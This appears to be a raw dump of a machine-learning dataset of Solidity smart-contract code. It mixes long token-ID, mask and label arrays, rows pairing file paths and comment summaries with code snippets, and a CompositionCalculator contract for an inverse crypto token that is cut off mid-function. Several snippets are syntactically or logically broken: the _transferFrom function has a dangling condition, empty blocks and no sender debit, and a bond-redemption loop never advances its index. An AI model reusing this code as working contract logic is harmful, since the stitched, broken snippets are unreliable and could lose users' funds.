0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1338,
6110,
1225,
12,
23,
13,
1071,
1135,
261,
6430,
13,
288,
203,
565,
2583,
24899,
869,
480,
1758,
12,
20,
10019,
203,
565,
2583,
24899,
1132,
1648,
324,
26488,
63,
67,
2080,
19226,
203,
565,
2583,
24899,
1132,
1648,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
19226,
203,
203,
565,
324,
26488,
63,
67,
2080,
65,
273,
324,
26488,
63,
67,
2080,
8009,
1717,
24899,
1132,
1769,
203,
565,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
1132,
1769,
203,
565,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
65,
273,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
8009,
1717,
24899,
1132,
1769,
203,
565,
12279,
24899,
2080,
16,
389,
869,
16,
389,
1132,
1769,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/43113/0x4d1efa0d83401d72eCBd11E5500BB2bbaf1931EA/sources/test.sol | max wallet code Dividend tracker | function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(!_isBlacklisted[sender] && !_isBlacklisted[recipient], 'Blacklisted address');
if(!authorizations[sender] && !authorizations[recipient]){
require(tradingOpen);
}
if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
buyCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for cooldown between buys");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if(!isDividendExempt[sender]) {
}
if(!isDividendExempt[recipient]) {
}
emit Transfer(sender, recipient, amountReceived);
return true;
}
| 7,151,349 | [
1,
1896,
9230,
981,
21411,
26746,
9745,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
13866,
1265,
12,
2867,
5793,
16,
1758,
8027,
16,
2254,
5034,
3844,
13,
2713,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
5,
67,
291,
13155,
18647,
63,
15330,
65,
597,
401,
67,
291,
13155,
18647,
63,
20367,
6487,
296,
13155,
18647,
1758,
8284,
203,
540,
203,
540,
203,
3639,
309,
12,
5,
4161,
7089,
63,
15330,
65,
597,
401,
4161,
7089,
63,
20367,
5717,
95,
203,
5411,
2583,
12,
313,
14968,
3678,
1769,
203,
3639,
289,
203,
203,
3639,
309,
16051,
4161,
7089,
63,
15330,
65,
597,
8027,
480,
1758,
12,
2211,
13,
225,
597,
8027,
480,
1758,
12,
1639,
1880,
13,
597,
8027,
480,
3082,
597,
8027,
480,
13667,
310,
14667,
12952,
597,
8027,
480,
3656,
48,
18988,
24237,
12952,
15329,
203,
5411,
2254,
5034,
15770,
5157,
273,
11013,
951,
12,
20367,
1769,
203,
5411,
2583,
12443,
76,
488,
5157,
397,
3844,
13,
1648,
389,
1896,
16936,
1345,
10837,
5269,
670,
1673,
310,
353,
4551,
13594,
16,
1846,
848,
486,
30143,
716,
9816,
1199,
1769,
97,
203,
540,
203,
203,
540,
203,
5411,
30143,
39,
1371,
2378,
1526,
597,
203,
5411,
401,
291,
10178,
292,
975,
424,
5744,
63,
20367,
5717,
288,
203,
5411,
2583,
12,
71,
1371,
2378,
6777,
63,
20367,
65,
411,
1203,
18,
5508,
10837,
8496,
2529,
364,
27367,
2378,
3086,
25666,
1900,
8863,
203,
5411,
27367,
2378,
6777,
63,
20367,
65,
273,
1203,
18,
5508,
397,
27367,
2378,
6777,
4006,
31,
203,
3639,
289,
203,
540,
203,
203,
540,
203,
203,
203,
3639,
2254,
2
]
|
./partial_match/1/0xF36399Bf8CB0f47e6e79B1F615385e3A94C8473a/sources/contracts/modules/credit/SpigotedLine.sol | no payer, we already have funds
| credits[id] = _repay(_accrue(credit, id), id, amount, address(0)); | 4,128,801 | [
1,
2135,
293,
1773,
16,
732,
1818,
1240,
284,
19156,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
6197,
1282,
63,
350,
65,
273,
389,
266,
10239,
24899,
8981,
86,
344,
12,
20688,
16,
612,
3631,
612,
16,
3844,
16,
1758,
12,
20,
10019,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x9Eb0ad4eEC37CE219081b94Cc41290AbfB58ee5a/sources/contracts/bonds/AccrualBondsV1.sol | @notice redeem your bond with output distrobuted linearly @param recipient the account that will receive the bond @param bondIds array of users bond position identifiers cache array length to save gas redeem users bonds fetch position from storage calculate redemption amount increase user redeemed amount by redeemed amount increase totalOutput by this bonds output T2 - Are events emitted for every storage mutating function? increment loop index | function redeemBondBatch(
address recipient,
uint256[] memory bondIds
) external whenNotPaused() virtual returns (uint256 totalOutput) {
uint256 length = bondIds.length;
for (uint256 i; i < length;) {
AccrualBondLib.Position storage position = positions[msg.sender][bondIds[i]];
uint256 output = AccrualBondLib.getRedeemAmountOut(position.owed, position.redeemed, position.creation, term);
position.redeemed += output;
totalOutput += output;
emit BondRedeemed(msg.sender, bondIds[i], output);
}
}
| 9,806,281 | [
1,
266,
24903,
3433,
8427,
598,
876,
27450,
70,
4817,
9103,
715,
225,
8027,
326,
2236,
716,
903,
6798,
326,
8427,
225,
8427,
2673,
526,
434,
3677,
8427,
1754,
9863,
1247,
526,
769,
358,
1923,
16189,
283,
24903,
3677,
15692,
2158,
1754,
628,
2502,
4604,
283,
19117,
375,
3844,
10929,
729,
283,
24903,
329,
3844,
635,
283,
24903,
329,
3844,
10929,
2078,
1447,
635,
333,
15692,
876,
399,
22,
300,
12520,
2641,
17826,
364,
3614,
2502,
4318,
1776,
445,
35,
5504,
2798,
770,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
283,
24903,
9807,
4497,
12,
203,
3639,
1758,
8027,
16,
203,
3639,
2254,
5034,
8526,
3778,
8427,
2673,
203,
565,
262,
3903,
1347,
1248,
28590,
1435,
5024,
1135,
261,
11890,
5034,
2078,
1447,
13,
288,
203,
203,
3639,
2254,
5034,
769,
273,
8427,
2673,
18,
2469,
31,
203,
203,
3639,
364,
261,
11890,
5034,
277,
31,
277,
411,
769,
30943,
288,
203,
203,
5411,
15980,
86,
1462,
9807,
5664,
18,
2555,
2502,
1754,
273,
6865,
63,
3576,
18,
15330,
6362,
26425,
2673,
63,
77,
13563,
31,
203,
2398,
203,
5411,
2254,
5034,
876,
273,
15980,
86,
1462,
9807,
5664,
18,
588,
426,
24903,
6275,
1182,
12,
3276,
18,
543,
329,
16,
1754,
18,
266,
24903,
329,
16,
1754,
18,
17169,
16,
2481,
1769,
203,
2398,
203,
5411,
1754,
18,
266,
24903,
329,
1011,
876,
31,
203,
203,
5411,
2078,
1447,
1011,
876,
31,
203,
203,
5411,
3626,
605,
1434,
426,
24903,
329,
12,
3576,
18,
15330,
16,
8427,
2673,
63,
77,
6487,
876,
1769,
203,
203,
3639,
289,
203,
203,
540,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x90c70Dc9f3FDa4a1D78a2B7D90CA087088355717/sources/contracts/citizenship/Collection.sol | @dev functionality for generating random word for vrfreverts if subscription is not set and funded. | function requestRandomWords() external onlyOwner {
require(vrf.randomWord == 0, "Citizenship: randomness replay ");
vrf.requestId = coordinator.requestRandomWords(
vrf.keyHash,
vrf.subscriptionId,
vrf.requestConfirmations,
vrf.callbackGasLimit,
vrf.wordCount
);
}
| 9,685,646 | [
1,
915,
7919,
364,
12516,
2744,
2076,
364,
20466,
266,
31537,
309,
4915,
353,
486,
444,
471,
9831,
785,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
590,
8529,
7363,
1435,
3903,
1338,
5541,
288,
203,
3639,
2583,
12,
16825,
18,
9188,
3944,
422,
374,
16,
315,
39,
305,
452,
275,
3261,
30,
2744,
4496,
16033,
315,
1769,
203,
203,
3639,
20466,
18,
2293,
548,
273,
24794,
18,
2293,
8529,
7363,
12,
203,
5411,
20466,
18,
856,
2310,
16,
203,
5411,
20466,
18,
25218,
16,
203,
5411,
20466,
18,
2293,
11269,
1012,
16,
203,
5411,
20466,
18,
3394,
27998,
3039,
16,
203,
5411,
20466,
18,
1095,
1380,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "./utils/Math.sol";
import "./utils/DateTimeLibrary.sol";
import "./PersistentStorage.sol";
import "./Abstract/InterfaceInverseToken.sol";
/**
* @dev uint256 are expected to use last 18 numbers as decimal points except when specifid differently in @params
*/
contract CompositionCalculator is Initializable {
using SafeMath for uint256;
PersistentStorage public persistentStorage;
InterfaceInverseToken public inverseToken;
function initialize(
address _persistentStorageAddress,
address _inverseTokenAddress
) public initializer {
persistentStorage = PersistentStorage(_persistentStorageAddress);
inverseToken = InterfaceInverseToken(_inverseTokenAddress);
}
//*************************************************************************
//************************** Pure Functions *******************************
//*************************************************************************
/**
* @dev Returns NetTokenValue for the given values
* @param _cashPosition The yearly average lending fee for borrowed balance
* @param _balance The balance (dept/borrow) in crypto
* @param _price The momentary price of the crypto
*/
function getNetTokenValue(
uint256 _cashPosition,
uint256 _balance,
uint256 _price
) public pure returns (uint256 netTokenValue) {
// Calculate NetTokenValue of Product
uint256 balanceWorth = DSMath.wmul(_balance, _price);
require(
_cashPosition > balanceWorth,
"The cash position needs to be bigger then the borrowed crypto is worth"
);
netTokenValue = DSMath.sub(_cashPosition, balanceWorth);
}
/**
* @dev Returns the crypto amount to pay as lending fee
* @param _lendingFee The yearly average lending fee for borrowed balance
* @param _balance The balance (dept/borrow) in crypto
* @param _days The days since the last fee calculation (Natural number)
*/
function getLendingFeeInCrypto(
uint256 _lendingFee,
uint256 _balance,
uint256 _days
) public pure returns (uint256 feeInCrypto) {
uint256 lendingFeePercent = DSMath.wdiv(_lendingFee, 100 ether);
uint256 feePerDay = DSMath.wdiv(lendingFeePercent, 365 ether);
uint256 feeInCryptoForOneDay = DSMath.wmul(feePerDay, _balance);
feeInCrypto = DSMath.mul(_days, feeInCryptoForOneDay);
}
/**
* Returns the change of balance with decimal at 18
* @param _netTokenValue The current netTokenValue of the product
* @param _balance The balance (dept/borrow) in crypto
* @param _price The momentary price of the crypto
*/
function getNeededChangeInBalanceToRebalance(
uint256 _netTokenValue,
uint256 _balance,
uint256 _price
) public pure returns (uint256 changeInBalance, bool isNegative) {
require(_price != 0, "Price cant be zero");
uint256 newAccountBalance = DSMath.wdiv(_netTokenValue, _price);
isNegative = newAccountBalance < _balance;
if (!isNegative) {
changeInBalance = DSMath.sub(newAccountBalance, _balance);
} else {
changeInBalance = DSMath.sub(_balance, newAccountBalance);
}
}
/**
* @param _a First number
* @param _b Second number
* @param _isBNegative Is number b negative
*/
function addOrSub(
//getDeliverables
uint256 _a,
uint256 _b,
bool _isBNegative
) internal pure returns (uint256) {
if (_isBNegative) {
return _a.sub(_b);
} else {
return _a.add(_b);
}
}
/**
* @dev Returns imported values for a PCF
* @param _cashPosition The total cash position on the token
* @param _balance The balance (dept/borrow) in crypto
* @param _price The momentary price of the crypto
* @param _lendingFee The yearly average lending fee for borrowed balance
* @param _days The days since the last fee calculation (Natural number)
* @param _minRebalanceAmount The minimum amount to rebalance
* @param _changeInBalancePrecision The change in balance precision
*/
function calculatePCF(
uint256 _cashPosition,
uint256 _balance,
uint256 _price,
uint256 _lendingFee,
uint256 _days,
uint256 _minRebalanceAmount,
uint256 _changeInBalancePrecision
)
public
pure
returns (
uint256 endNetTokenValue,
uint256 endBalance,
uint256 endCashPosition,
uint256 feeInFiat,
uint256 changeInBalance,
bool isChangeInBalanceNeg
)
{
require(_price != 0, "Price cant be zero");
// Update Calculation for NetTokenValue, Cash Position, Loan Positions, and Accrued Fees
//remove fees
uint256 feeInCrypto = getLendingFeeInCrypto(
_lendingFee,
_balance,
_days
);
require(
feeInCrypto <= _balance,
"The balance cant be smaller then the fee"
);
feeInFiat = DSMath.wmul(feeInCrypto, _price);
//cashPositionWithoutFee
endCashPosition = DSMath.sub(_cashPosition, feeInFiat);
//calculte change in balance (rebalance)
endBalance = DSMath.wdiv(
getNetTokenValue(endCashPosition, _balance, _price),
_price
);
(
changeInBalance,
isChangeInBalanceNeg
) = getNeededChangeInBalanceToRebalance(
getNetTokenValue(endCashPosition, _balance, _price),
_balance,
_price
);
changeInBalance = floor(changeInBalance, _changeInBalancePrecision);
if (changeInBalance < _minRebalanceAmount) {
changeInBalance = 0;
endBalance = _balance;
}
endBalance = addOrSub(
_balance, //cashPositionWithoutFee
changeInBalance,
isChangeInBalanceNeg
);
//result
endCashPosition = addOrSub(
endCashPosition, //cashPositionWithoutFee
DSMath.wmul(changeInBalance, _price),
isChangeInBalanceNeg
);
endNetTokenValue = getNetTokenValue(
endCashPosition,
endBalance,
_price
);
}
/**
* @param _cashPosition The total cash position on the token
* @param _balance The balance (dept/borrow) in crypto
* @param _price The momentary price of the crypto
* @param _lendingFee The yearly average lending fee for borrowed balance
* @param _days The days since the last fee calculation (Natural number)
* @param _changeInBalancePrecision The change in balance precision
*/
function calculatePCFWithoutMin(
//getDeliverables
uint256 _cashPosition,
uint256 _balance,
uint256 _price,
uint256 _lendingFee,
uint256 _days,
uint256 _changeInBalancePrecision
)
public
pure
returns (
uint256 endNetTokenValue,
uint256 endBalance,
uint256 endCashPosition,
uint256 feeInFiat,
uint256 changeInBalance,
bool isChangeInBalanceNeg
)
{
return
calculatePCF(
_cashPosition,
_balance,
_price,
_lendingFee,
_days,
0,
_changeInBalancePrecision
);
}
/**
* @dev Returns the amount of token created by cash at price
* @param _cashPosition The total cash position on the token
* @param _balance The balance (dept/borrow) in crypto
* @param _totalTokenSupply The total token supply
* @param _cash The cash provided to create token
* @param _spotPrice The momentary price of the crypto
*/
function getTokenAmountCreatedByCash(
//Create
uint256 _cashPosition,
uint256 _balance,
uint256 _totalTokenSupply,
uint256 _cash,
uint256 _spotPrice
) public pure returns (uint256 tokenAmountCreated) {
require(_spotPrice != 0, "Price cant be zero");
require(_totalTokenSupply != 0, "Token supply cant be zero");
uint256 netTokenValue = getNetTokenValue(
_cashPosition,
_balance,
_spotPrice
);
uint256 cashTimesTokenAmount = DSMath.wmul(_cash, _totalTokenSupply);
tokenAmountCreated = DSMath.wdiv(cashTimesTokenAmount, netTokenValue);
}
/**
* @dev Returns the amount of cash redeemed at price
* @param _cashPosition The total cash position on the token
* @param _balance The balance (dept/borrow) in crypto
* @param _totalTokenSupply The total token supply
* @param _tokenAmount The token provided to redeem cash
* @param _spotPrice The momentary price of the crypto
*/
function getCashAmountCreatedByToken(
//Redeem
uint256 _cashPosition,
uint256 _balance,
uint256 _totalTokenSupply,
uint256 _tokenAmount,
uint256 _spotPrice
) public pure returns (uint256 cashFromTokenRedeem) {
require(_spotPrice != 0, "Price cant be zero");
require(_totalTokenSupply != 0, "Token supply cant be zero");
uint256 netTokenValue = getNetTokenValue(
_cashPosition,
_balance,
_spotPrice
);
uint256 netTokenValueTimesTokenAmount = DSMath.wmul(
netTokenValue,
_tokenAmount
);
cashFromTokenRedeem = DSMath.wdiv(
netTokenValueTimesTokenAmount,
_totalTokenSupply
);
}
/**
* @dev Returns cash without fee
* @param _cash The cash provided to create token
* @param _mintingFee The minting fee to remove
* @param _minimumMintingFee The minimum minting fee in $ to remove
*/
function removeMintingFeeFromCash(
uint256 _cash,
uint256 _mintingFee,
uint256 _minimumMintingFee
) public pure returns (uint256 cashAfterFee) {
uint256 creationFeeInCash = DSMath.wmul(_cash, _mintingFee);
if (_minimumMintingFee > creationFeeInCash) {
creationFeeInCash = _minimumMintingFee;
}
cashAfterFee = DSMath.sub(_cash, creationFeeInCash);
}
//*************************************************************************
//***************** Get values for last PCF *******************************
//*************************************************************************
/**
* @dev Returns the current NetTokenValue
*/
function getCurrentNetTokenValue()
public
view
returns (uint256 netTokenValue)
{
uint256 totalTokenSupply = inverseToken.totalSupply();
require(totalTokenSupply != 0, "Token supply cant be zero");
uint256 cashPosition = DSMath.wmul(
totalTokenSupply,
persistentStorage.getCashPositionPerTokenUnit()
);
uint256 balance = DSMath.wmul(
totalTokenSupply,
persistentStorage.getBalancePerTokenUnit()
);
uint256 price = persistentStorage.getPrice();
netTokenValue = getNetTokenValue(cashPosition, balance, price);
}
/**
* @dev Returns cash without fee
* @param _cash The cash provided to create token
*/
function removeCurrentMintingFeeFromCash(uint256 _cash)
public
view
returns (uint256 cashAfterFee)
{
uint256 creationFee = persistentStorage.getMintingFee(_cash);
uint256 minimumMintingFee = persistentStorage.minimumMintingFee();
cashAfterFee = removeMintingFeeFromCash(
_cash,
creationFee,
minimumMintingFee
);
}
/**
* @dev Returns the amount of token created by cash
* @param _cash The cash provided to create token
* @param _spotPrice The momentary price of the crypto
*/
function getCurrentTokenAmountCreatedByCash(
//Create
uint256 _cash,
uint256 _spotPrice,
uint256 _gasFee
) public view returns (uint256 tokenAmountCreated) {
uint256 cashAfterGas = DSMath.sub(_cash, _gasFee);
uint256 cashAfterFee = removeCurrentMintingFeeFromCash(cashAfterGas);
tokenAmountCreated = getTokenAmountCreatedByCash(
persistentStorage.getCashPositionPerTokenUnit(),
persistentStorage.getBalancePerTokenUnit(),
1 ether,
cashAfterFee,
_spotPrice
);
}
/**
* @dev Returns the amount of cash redeemed at spot price
* @param _tokenAmount The token provided to redeem cash
* @param _spotPrice The momentary price of the crypto
*/
function getCurrentCashAmountCreatedByToken(
//Redeem
uint256 _tokenAmount,
uint256 _spotPrice,
uint256 _gasFee
